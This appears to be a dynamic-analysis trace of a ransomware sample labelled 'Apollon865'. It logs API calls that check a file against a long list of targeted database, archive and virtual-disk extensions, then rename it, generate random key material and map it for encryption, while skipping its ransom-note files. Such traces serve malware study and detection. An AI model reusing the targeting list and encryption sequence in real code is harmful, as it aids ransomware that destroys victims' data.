	[0047.264] lstrlenW (lpString="Apollon865") returned 10
	[0047.264] lstrlenW (lpString=".dll") returned 4
	[0047.264] lstrcmpiW (lpString1="ntuser.ini", lpString2=".dll") returned 1
	[0047.264] lstrlenW (lpString=".lnk") returned 4
	[0047.264] lstrcmpiW (lpString1="ntuser.ini", lpString2=".lnk") returned 1
	[0047.264] lstrlenW (lpString=".ini") returned 4
	[0047.264] lstrcmpiW (lpString1="ntuser.ini", lpString2=".ini") returned 1
	[0047.264] lstrlenW (lpString=".sys") returned 4
	[0047.264] lstrcmpiW (lpString1="ntuser.ini", lpString2=".sys") returned 1
	[0047.264] lstrlenW (lpString="ntuser.ini") returned 10
	[0047.264] lstrlenW (lpString="bak") returned 3
	[0047.264] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0047.264] lstrlenW (lpString="ba_") returned 3
	[0047.264] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0047.264] lstrlenW (lpString="dbb") returned 3
	[0047.264] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0047.264] lstrlenW (lpString="vmdk") returned 4
	[0047.264] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0047.264] lstrlenW (lpString="rar") returned 3
	[0047.264] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0047.264] lstrlenW (lpString="zip") returned 3
	[0047.264] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0047.264] lstrlenW (lpString="tgz") returned 3
	[0047.264] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0047.264] lstrlenW (lpString="vbox") returned 4
	[0047.264] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0047.264] lstrlenW (lpString="vdi") returned 3
	[0047.264] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0047.264] lstrlenW (lpString="vhd") returned 3
	[0047.264] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0047.264] lstrlenW (lpString="vhdx") returned 4
	[0047.265] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0047.265] lstrlenW (lpString="avhd") returned 4
	[0047.265] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0047.265] lstrlenW (lpString="db") returned 2
	[0047.265] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0047.265] lstrlenW (lpString="db2") returned 3
	[0047.265] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0047.265] lstrlenW (lpString="db3") returned 3
	[0047.265] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0047.265] lstrlenW (lpString="dbf") returned 3
	[0047.265] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0047.265] lstrlenW (lpString="mdf") returned 3
	[0047.265] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0047.265] lstrlenW (lpString="mdb") returned 3
	[0047.265] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0047.265] lstrlenW (lpString="sql") returned 3
	[0047.265] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0047.265] lstrlenW (lpString="sqlite") returned 6
	[0047.265] lstrcmpiW (lpString1="er.ini", lpString2="sqlite") returned -1
	[0047.265] lstrlenW (lpString="sqlite3") returned 7
	[0047.265] lstrcmpiW (lpString1="ser.ini", lpString2="sqlite3") returned -1
	[0047.265] lstrlenW (lpString="sqlitedb") returned 8
	[0047.265] lstrcmpiW (lpString1="user.ini", lpString2="sqlitedb") returned 1
	[0047.265] lstrlenW (lpString="xml") returned 3
	[0047.265] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0047.265] lstrlenW (lpString="$er") returned 3
	[0047.265] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0047.265] lstrlenW (lpString="4dd") returned 3
	[0047.265] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0047.265] lstrlenW (lpString="4dl") returned 3
	[0047.265] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0047.265] lstrlenW (lpString="^^^") returned 3
	[0047.265] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0047.265] lstrlenW (lpString="abs") returned 3
	[0047.266] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0047.266] lstrlenW (lpString="abx") returned 3
	[0047.266] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0047.266] lstrlenW (lpString="accdb") returned 5
	[0047.266] lstrcmpiW (lpString1="r.ini", lpString2="accdb") returned 1
	[0047.266] lstrlenW (lpString="accdc") returned 5
	[0047.266] lstrcmpiW (lpString1="r.ini", lpString2="accdc") returned 1
	[0047.266] lstrlenW (lpString="accde") returned 5
	[0047.266] lstrcmpiW (lpString1="r.ini", lpString2="accde") returned 1
	[0047.266] lstrlenW (lpString="accdr") returned 5
	[0047.266] lstrcmpiW (lpString1="r.ini", lpString2="accdr") returned 1
	[0047.266] lstrlenW (lpString="accdt") returned 5
	[0047.266] lstrcmpiW (lpString1="r.ini", lpString2="accdt") returned 1
	[0047.266] lstrlenW (lpString="accdw") returned 5
	[0047.266] lstrcmpiW (lpString1="r.ini", lpString2="accdw") returned 1
	[0047.266] lstrlenW (lpString="accft") returned 5
	[0047.266] lstrcmpiW (lpString1="r.ini", lpString2="accft") returned 1
	[0047.266] lstrlenW (lpString="adb") returned 3
	[0047.266] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0047.266] lstrlenW (lpString="adb") returned 3
	[0047.266] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0047.266] lstrlenW (lpString="ade") returned 3
	[0047.266] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0047.266] lstrlenW (lpString="adf") returned 3
	[0047.266] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0047.266] lstrlenW (lpString="adn") returned 3
	[0047.266] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0047.266] lstrlenW (lpString="adp") returned 3
	[0047.266] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0047.266] lstrlenW (lpString="alf") returned 3
	[0047.266] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0047.266] lstrlenW (lpString="ask") returned 3
	[0047.266] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0047.266] lstrlenW (lpString="btr") returned 3
	[0047.267] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0047.267] lstrlenW (lpString="cat") returned 3
	[0047.267] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0047.267] lstrlenW (lpString="cdb") returned 3
	[0047.267] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0047.267] lstrlenW (lpString="ckp") returned 3
	[0047.267] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0047.267] lstrlenW (lpString="cma") returned 3
	[0047.267] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0047.267] lstrlenW (lpString="cpd") returned 3
	[0047.267] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0047.267] lstrlenW (lpString="dacpac") returned 6
	[0047.267] lstrcmpiW (lpString1="er.ini", lpString2="dacpac") returned 1
	[0047.267] lstrlenW (lpString="dad") returned 3
	[0047.267] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0047.267] lstrlenW (lpString="dadiagrams") returned 10
	[0047.267] lstrlenW (lpString="daschema") returned 8
	[0047.267] lstrcmpiW (lpString1="user.ini", lpString2="daschema") returned 1
	[0047.267] lstrlenW (lpString="db-journal") returned 10
	[0047.267] lstrlenW (lpString="db-shm") returned 6
	[0047.267] lstrcmpiW (lpString1="er.ini", lpString2="db-shm") returned 1
	[0047.267] lstrlenW (lpString="db-wal") returned 6
	[0047.267] lstrcmpiW (lpString1="er.ini", lpString2="db-wal") returned 1
	[0047.267] lstrlenW (lpString="dbc") returned 3
	[0047.267] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0047.267] lstrlenW (lpString="dbs") returned 3
	[0047.267] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0047.267] lstrlenW (lpString="dbt") returned 3
	[0047.267] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0047.267] lstrlenW (lpString="dbv") returned 3
	[0047.267] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0047.267] lstrlenW (lpString="dbx") returned 3
	[0047.267] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0047.267] lstrlenW (lpString="dcb") returned 3
	[0047.267] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0047.267] lstrlenW (lpString="dct") returned 3
	[0047.268] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0047.268] lstrlenW (lpString="dcx") returned 3
	[0047.268] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0047.268] lstrlenW (lpString="ddl") returned 3
	[0047.268] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0047.268] lstrlenW (lpString="dlis") returned 4
	[0047.268] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0047.268] lstrlenW (lpString="dp1") returned 3
	[0047.268] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0047.268] lstrlenW (lpString="dqy") returned 3
	[0047.268] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0047.268] lstrlenW (lpString="dsk") returned 3
	[0047.268] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0047.268] lstrlenW (lpString="dsn") returned 3
	[0047.268] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0047.268] lstrlenW (lpString="dtsx") returned 4
	[0047.268] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0047.268] lstrlenW (lpString="dxl") returned 3
	[0047.268] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0047.268] lstrlenW (lpString="eco") returned 3
	[0047.268] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0047.268] lstrlenW (lpString="ecx") returned 3
	[0047.268] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0047.268] lstrlenW (lpString="edb") returned 3
	[0047.268] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0047.268] lstrlenW (lpString="epim") returned 4
	[0047.268] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0047.268] lstrlenW (lpString="fcd") returned 3
	[0047.268] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0047.268] lstrlenW (lpString="fdb") returned 3
	[0047.268] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0047.268] lstrlenW (lpString="fic") returned 3
	[0047.268] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0047.268] lstrlenW (lpString="flexolibrary") returned 12
	[0047.268] lstrlenW (lpString="fm5") returned 3
	[0047.277] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0047.278] lstrlenW (lpString="fmp") returned 3
	[0047.278] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0047.278] lstrlenW (lpString="fmp12") returned 5
	[0047.278] lstrcmpiW (lpString1="r.ini", lpString2="fmp12") returned 1
	[0047.278] lstrlenW (lpString="fmpsl") returned 5
	[0047.278] lstrcmpiW (lpString1="r.ini", lpString2="fmpsl") returned 1
	[0047.278] lstrlenW (lpString="fol") returned 3
	[0047.278] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0047.278] lstrlenW (lpString="fp3") returned 3
	[0047.278] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0047.278] lstrlenW (lpString="fp4") returned 3
	[0047.278] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0047.278] lstrlenW (lpString="fp5") returned 3
	[0047.278] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0047.278] lstrlenW (lpString="fp7") returned 3
	[0047.278] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0047.278] lstrlenW (lpString="fpt") returned 3
	[0047.278] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0047.278] lstrlenW (lpString="frm") returned 3
	[0047.278] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0047.278] lstrlenW (lpString="gdb") returned 3
	[0047.278] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0047.278] lstrlenW (lpString="gdb") returned 3
	[0047.278] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0047.278] lstrlenW (lpString="grdb") returned 4
	[0047.278] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0047.278] lstrlenW (lpString="gwi") returned 3
	[0047.278] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0047.278] lstrlenW (lpString="hdb") returned 3
	[0047.278] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0047.279] lstrlenW (lpString="his") returned 3
	[0047.279] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0047.279] lstrlenW (lpString="ib") returned 2
	[0047.279] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0047.279] lstrlenW (lpString="idb") returned 3
	[0047.279] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0047.279] lstrlenW (lpString="ihx") returned 3
	[0047.279] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0047.279] lstrlenW (lpString="itdb") returned 4
	[0047.279] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0047.279] lstrlenW (lpString="itw") returned 3
	[0047.279] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0047.279] lstrlenW (lpString="jet") returned 3
	[0047.279] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0047.279] lstrlenW (lpString="jtx") returned 3
	[0047.279] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0047.279] lstrlenW (lpString="kdb") returned 3
	[0047.279] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0047.279] lstrlenW (lpString="kexi") returned 4
	[0047.279] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0047.279] lstrlenW (lpString="kexic") returned 5
	[0047.279] lstrcmpiW (lpString1="r.ini", lpString2="kexic") returned 1
	[0047.279] lstrlenW (lpString="kexis") returned 5
	[0047.279] lstrcmpiW (lpString1="r.ini", lpString2="kexis") returned 1
	[0047.279] lstrlenW (lpString="lgc") returned 3
	[0047.279] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0047.279] lstrlenW (lpString="lwx") returned 3
	[0047.279] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0047.279] lstrlenW (lpString="maf") returned 3
	[0047.279] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0047.279] lstrlenW (lpString="maq") returned 3
	[0047.279] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0047.279] lstrlenW (lpString="mar") returned 3
	[0047.279] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0047.280] lstrlenW (lpString="marshal") returned 7
	[0047.280] lstrcmpiW (lpString1="ser.ini", lpString2="marshal") returned 1
	[0047.280] lstrlenW (lpString="mas") returned 3
	[0047.280] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0047.280] lstrlenW (lpString="mav") returned 3
	[0047.280] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0047.280] lstrlenW (lpString="maw") returned 3
	[0047.280] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0047.280] lstrlenW (lpString="mdbhtml") returned 7
	[0047.280] lstrcmpiW (lpString1="ser.ini", lpString2="mdbhtml") returned 1
	[0047.280] lstrlenW (lpString="mdn") returned 3
	[0047.280] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0047.280] lstrlenW (lpString="mdt") returned 3
	[0047.280] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0047.280] lstrlenW (lpString="mfd") returned 3
	[0047.280] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0047.280] lstrlenW (lpString="mpd") returned 3
	[0047.280] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0047.280] lstrlenW (lpString="mrg") returned 3
	[0047.280] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0047.280] lstrlenW (lpString="mud") returned 3
	[0047.280] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0047.280] lstrlenW (lpString="mwb") returned 3
	[0047.280] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0047.280] lstrlenW (lpString="myd") returned 3
	[0047.280] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0047.280] lstrlenW (lpString="ndf") returned 3
	[0047.280] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0047.280] lstrlenW (lpString="nnt") returned 3
	[0047.280] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0047.280] lstrlenW (lpString="nrmlib") returned 6
	[0047.280] lstrcmpiW (lpString1="er.ini", lpString2="nrmlib") returned -1
	[0047.280] lstrlenW (lpString="ns2") returned 3
	[0047.280] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0047.280] lstrlenW (lpString="ns3") returned 3
	[0047.281] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0047.281] lstrlenW (lpString="ns4") returned 3
	[0047.281] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0047.281] lstrlenW (lpString="nsf") returned 3
	[0047.281] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0047.281] lstrlenW (lpString="nv") returned 2
	[0047.281] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0047.281] lstrlenW (lpString="nv2") returned 3
	[0047.281] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0047.281] lstrlenW (lpString="nwdb") returned 4
	[0047.281] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0047.281] lstrlenW (lpString="nyf") returned 3
	[0047.281] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0047.281] lstrlenW (lpString="odb") returned 3
	[0047.281] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0047.281] lstrlenW (lpString="odb") returned 3
	[0047.281] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0047.281] lstrlenW (lpString="oqy") returned 3
	[0047.281] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0047.281] lstrlenW (lpString="ora") returned 3
	[0047.281] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0047.281] lstrlenW (lpString="orx") returned 3
	[0047.281] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0047.281] lstrlenW (lpString="owc") returned 3
	[0047.281] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0047.281] lstrlenW (lpString="p96") returned 3
	[0047.281] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0047.281] lstrlenW (lpString="p97") returned 3
	[0047.281] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0047.281] lstrlenW (lpString="pan") returned 3
	[0047.281] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0047.281] lstrlenW (lpString="pdb") returned 3
	[0047.281] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0047.282] lstrlenW (lpString="pdm") returned 3
	[0047.282] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0047.282] lstrlenW (lpString="pnz") returned 3
	[0047.282] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0047.282] lstrlenW (lpString="qry") returned 3
	[0047.282] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0047.282] lstrlenW (lpString="qvd") returned 3
	[0047.282] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0047.282] lstrlenW (lpString="rbf") returned 3
	[0047.282] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0047.282] lstrlenW (lpString="rctd") returned 4
	[0047.282] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0047.282] lstrlenW (lpString="rod") returned 3
	[0047.282] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0047.282] lstrlenW (lpString="rodx") returned 4
	[0047.282] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0047.282] lstrlenW (lpString="rpd") returned 3
	[0047.282] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0047.282] lstrlenW (lpString="rsd") returned 3
	[0047.282] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0047.282] lstrlenW (lpString="sas7bdat") returned 8
	[0047.282] lstrcmpiW (lpString1="user.ini", lpString2="sas7bdat") returned 1
	[0047.282] lstrlenW (lpString="sbf") returned 3
	[0047.282] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0047.282] lstrlenW (lpString="scx") returned 3
	[0047.282] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0047.282] lstrlenW (lpString="sdb") returned 3
	[0047.282] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0047.282] lstrlenW (lpString="sdc") returned 3
	[0047.282] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0047.282] lstrlenW (lpString="sdf") returned 3
	[0047.282] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0047.282] lstrlenW (lpString="sis") returned 3
	[0047.283] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0047.283] lstrlenW (lpString="spq") returned 3
	[0047.283] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0047.283] lstrlenW (lpString="te") returned 2
	[0047.283] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0047.283] lstrlenW (lpString="teacher") returned 7
	[0047.283] lstrcmpiW (lpString1="ser.ini", lpString2="teacher") returned -1
	[0047.283] lstrlenW (lpString="tmd") returned 3
	[0047.283] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0047.283] lstrlenW (lpString="tps") returned 3
	[0047.283] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0047.283] lstrlenW (lpString="trc") returned 3
	[0047.283] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0047.283] lstrlenW (lpString="trc") returned 3
	[0047.283] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0047.283] lstrlenW (lpString="trm") returned 3
	[0047.283] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0047.283] lstrlenW (lpString="udb") returned 3
	[0047.283] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0047.283] lstrlenW (lpString="udl") returned 3
	[0047.283] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0047.283] lstrlenW (lpString="usr") returned 3
	[0047.283] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0047.283] lstrlenW (lpString="v12") returned 3
	[0047.283] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0047.283] lstrlenW (lpString="vis") returned 3
	[0047.283] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0047.283] lstrlenW (lpString="vpd") returned 3
	[0047.283] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0047.283] lstrlenW (lpString="vvv") returned 3
	[0047.283] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0047.283] lstrlenW (lpString="wdb") returned 3
	[0047.283] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0047.283] lstrlenW (lpString="wmdb") returned 4
	[0047.283] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0047.284] lstrlenW (lpString="wrk") returned 3
	[0047.284] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0047.284] lstrlenW (lpString="xdb") returned 3
	[0047.284] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0047.284] lstrlenW (lpString="xld") returned 3
	[0047.284] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0047.284] lstrlenW (lpString="xmlff") returned 5
	[0047.284] lstrcmpiW (lpString1="r.ini", lpString2="xmlff") returned -1
	[0047.284] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\ntuser.ini.Apollon865") returned 38
	[0047.284] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\ntuser.ini" (normalized: "c:\\users\\default\\ntuser.ini"), lpNewFileName="C:\\Users\\Default\\ntuser.ini.Apollon865" (normalized: "c:\\users\\default\\ntuser.ini.apollon865"), dwFlags=0x1) returned 1
	[0047.286] CreateFileW (lpFileName="C:\\Users\\Default\\ntuser.ini.Apollon865" (normalized: "c:\\users\\default\\ntuser.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0047.286] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=20) returned 1
	[0047.286] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0047.286] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0047.286] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0047.286] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf568) returned 1
	[0047.287] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0047.287] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0047.287] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x320, lpName=0x0) returned 0x158
	[0047.292] MapViewOfFile (hFileMappingObject=0x158, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x320) returned 0x100000
	[0047.300] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0047.301] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0047.301] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0047.301] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0047.301] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0047.301] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0047.301] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0047.301] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0047.301] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0047.301] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5a73b0
	[0047.301] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0047.301] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a73b0 | out: hHeap=0x580000) returned 1
	[0047.301] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0047.301] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0047.302] CloseHandle (hObject=0x158) returned 1
	[0047.302] CloseHandle (hObject=0x15c) returned 1
	[0047.302] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0047.302] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0047.302] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0047.302] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e033f90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e033f90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1
	[0047.302] lstrcmpiW (lpString1="Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.302] lstrcmpiW (lpString1="Pictures", lpString2="Apollon865.txt.exe") returned 1
	[0047.302] lstrcmpiW (lpString1="Pictures", lpString2=".") returned 1
	[0047.302] lstrcmpiW (lpString1="Pictures", lpString2="..") returned 1
	[0047.302] lstrcmpiW (lpString1="Pictures", lpString2="windows") returned -1
